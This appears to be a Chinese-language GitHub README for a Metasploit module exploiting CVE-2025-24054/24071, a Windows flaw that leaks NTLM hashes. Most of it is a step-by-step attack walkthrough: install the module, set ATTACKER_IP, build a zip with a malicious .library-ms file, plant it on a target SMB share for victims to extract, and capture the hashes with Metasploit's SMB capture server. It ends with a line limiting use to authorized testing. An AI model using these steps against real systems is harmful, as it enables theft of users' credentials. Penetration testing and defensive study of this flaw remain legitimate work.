CVE-2025-24054/24071 - Metasploit 模块

概述

该漏洞发生在解压 .zip 文件的过程中。当与特制的 .library-ms 文件交互时，Windows 资源管理器会处理内部的 XML 架构，并自动向攻击者控制的远程路径发起 SMB 身份验证请求。

这种行为允许在无需用户进行解压文件之外的任何额外交互的情况下，泄露用户的 NTLM 哈希值。如需查看概念验证，建议访问以下链接：Fluffy - HTB。

⚠️ 重要说明：

尽管该漏洞最初以 CVE-2025-24071 传播，但目前官方追踪编号为 CVE-2025-24054。

📌 安装

克隆仓库：

❯ git clone https://github.com/SecurityLayer404/CVE-2025-24054-24071---Metasploit-Module.git
❯ cd CVE-2025-24071

将模块复制到 Metasploit 目录：

❯ cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/

如果目录不存在，请创建：

❯ mkdir -p ~/.msf4/modules/auxiliary/server/

然后再次复制模块。

📌 使用

启动 Metasploit 并加载模块：

❯ msfconsole -q
❯ use auxiliary/server/ntlm_hash_leak

如果模块加载成功，你可以看到配置选项：

❯ show options

Module options (auxiliary/server/ntlm_hash_leak):

   名称              当前设置              必需   描述
   ----              ---------------      -----  -----------
   ATTACKER_IP                             是    攻击者 IP（运行 Responder/Impacket 的地方）
   FILENAME          exploit.zip           是    压缩包文件名
   LIBRARY_NAME      documents.library-ms  是    .library-ms 文件名
   SHARE_NAME        recurso               是    虚构共享资源的名称

配置模块并运行：

❯ set ATTACKER_IP 0.0.0.0  # 替换为你的攻击者 IP
❯ set FILENAME exploit.zip  # 你将上传到 SMB（目标主机）的有效载荷文件名
❯ set LIBRARY_NAME malicious.library-ms  # .library-ms 文件名
❯ set SHARE_NAME it_shared  # SMB 资源名称
❯ run

输出：模块生成一个 .zip 文件，该文件必须上传到目标 SMB 服务器，以供受害者后续执行。

[+] exploit.zip stored at /home/user/.msf4/local/exploit.zip
[+] 文件已保存至: /home/user/.msf4/local/exploit.zip
[*] Auxiliary module execution completed

最后，使用 Metasploit 的 SMB 捕获模块来接收 NTLM 哈希值：

❯ use auxiliary/server/capture/smb
❯ set SRVHOST 0.0.0.0  # 替换为你的攻击者 IP
❯ run

如果在从 Metasploit 启动 SMB 服务器时遇到问题：

以 root 身份运行 msfconsole
确保 ntlm_hash_leak.rb 文件具有 root 可以访问的适当权限

⚠️ 警告

本模块仅用于教育和授权测试目的。
未经授权使用此类工具可能违反法律。

🕷 作者

Security Layer

CVE-2025-24054-24071---Metasploit-Module

最受欢迎